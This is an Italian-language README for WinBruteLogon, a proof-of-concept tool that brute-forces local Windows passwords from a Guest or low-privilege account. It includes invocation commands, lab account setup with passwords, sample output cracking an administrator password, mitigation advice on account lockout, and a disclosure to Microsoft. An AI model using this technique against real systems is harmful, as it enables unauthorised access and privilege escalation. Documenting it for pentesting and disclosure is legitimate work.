
Cracca la password di qualsiasi utente di Microsoft Windows senza alcun privilegio (account Guest incluso).
Avviso 1: Siamo entusiasti di annunciare che il nostro attuale strumento è stato trasferito in una versione PowerShell. Ciò significa che gli utenti possono ora accedere e utilizzare lo strumento direttamente dalla riga di comando di PowerShell, rendendolo ancora più comodo ed efficiente da usare. Crediamo che questa nuova versione sarà di grande beneficio per i nostri utenti e migliorerà la loro esperienza con lo strumento. Grazie per il vostro continuo supporto e speriamo che la nuova versione PowerShell vi piaccia: https://github.com/DarkCoderSc/power-brute-logon
Avviso 2: Recentemente abbiamo appreso che Microsoft ha abilitato per impostazione predefinita la politica di blocco dell'account nelle versioni moderne e aggiornate di Windows. Questa politica aiuta a proteggere il sistema bloccando un account dopo un certo numero di tentativi di accesso falliti. Sebbene questa sia una misura di sicurezza vantaggiosa, rende la prova di concetto (PoC) inefficiente su questi sistemi.
Data di rilascio: 2020-05-14
Target: Windows XP fino all'ultima versione di Windows 10 (1909)

Posizione della debolezza: LogonUserA, LogonUserW, CreateProcessWithLogonA, CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon è progettato per simulare un attacco di forza bruta su un account Microsoft indovinando un gran numero di combinazioni di password in poco tempo. Ciò consente ai pentester di testare la postura di sicurezza dei loro sistemi e di valutare le loro difese contro gli attacchi di forza bruta. Lo strumento sfrutta l'assenza di un meccanismo di blocco dell'account, che è una debolezza comune in molti sistemi (prima che il blocco dell'account diventasse abilitato per impostazione predefinita su Windows 11). Tentando di indovinare la password di un account, lo strumento può aiutare i pentester a identificare e affrontare le vulnerabilità nelle loro misure di sicurezza. Dovrebbe essere usato in modo responsabile e nei limiti della legge.
Per questa dimostrazione, imposteremo una versione pulita di Windows 10 su una macchina virtuale o fisica. Una volta configurata la macchina, accedere come amministratore. Successivamente, creare due account locali diversi: un account amministratore e un account utente normale. Si prega di notare che, sebbene utilizzeremo l'account ospite per la demo, questa prova di concetto (PoC) non è limitata all'account ospite. Può essere utilizzata da qualsiasi account o gruppo, inclusi ospite, utente normale e amministratore.
net user darkcodersc /add
net user darkcodersc trousers (trousers è la password)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (ozlq6qwm è la password)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
Nel mio caso sia trousers che ozlq6qwm sono in SecList: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt
Per iniziare la dimostrazione, disconnettersi dall'account amministratore o riavviare la macchina e accedere all'account ospite. Quindi, posizionare l'eseguibile PoC in una posizione a cui si ha accesso come utente ospite.
Utilizzo: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v è opzionale, indica la modalità verbose.
Per impostazione predefinita, il nome del dominio è il valore designato dalla variabile d'ambiente %USERDOMAIN%. È possibile specificare un nome personalizzato con l'opzione -d.
darkcodersc (Amministratore)prompt(guest)>WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
Attendere alcuni secondi per vedere il seguente risultato:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (Utente normale)prompt(guest)>WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
Attendere alcuni secondi per vedere il seguente risultato:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"In uno scenario reale, se un attaccante ottiene l'accesso a un account utente con privilegi bassi, potrebbe essere in grado di craccare la password di un utente con privilegi più elevati ed escalare i propri privilegi. Per mitigare questo rischio, ci sono alcuni passaggi che possono essere adottati:
Per implementare una politica di blocco della sicurezza (non abilitata per impostazione predefinita), seguire questi passaggi:
Si prega di notare che la politica di blocco non si applica all'account amministratore. In questo caso, la migliore protezione per l'account amministratore (se abilitato) è impostare una password molto complessa.
Un rapporto che descrive questa debolezza è stato inviato al Microsoft Security Team. Dovrebbero considerare l'abilitazione della politica di blocco dell'account per impostazione predefinita."
(AGGIORNAMENTO 2022): Il blocco dell'account finalmente abilitato per impostazione predefinita.